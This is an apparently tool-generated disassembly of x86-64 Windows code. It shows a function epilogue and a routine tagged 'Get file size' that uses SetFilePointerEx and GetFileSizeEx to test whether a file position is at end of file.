jmp 0x180041a97
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.180024300
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret

Function at 0x180041cb8
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x180041cce
mov al, 1
jmp 0x180041d2e
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x180041cdf
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x180041d2c
mov ecx, dword [rcx + 0x18]
nop
call fcn.1800443b0
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180041d2c
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x180041d2c
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x180041d2c
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x180041d2e
xor al, al
add rsp, 0x20
pop rbx
ret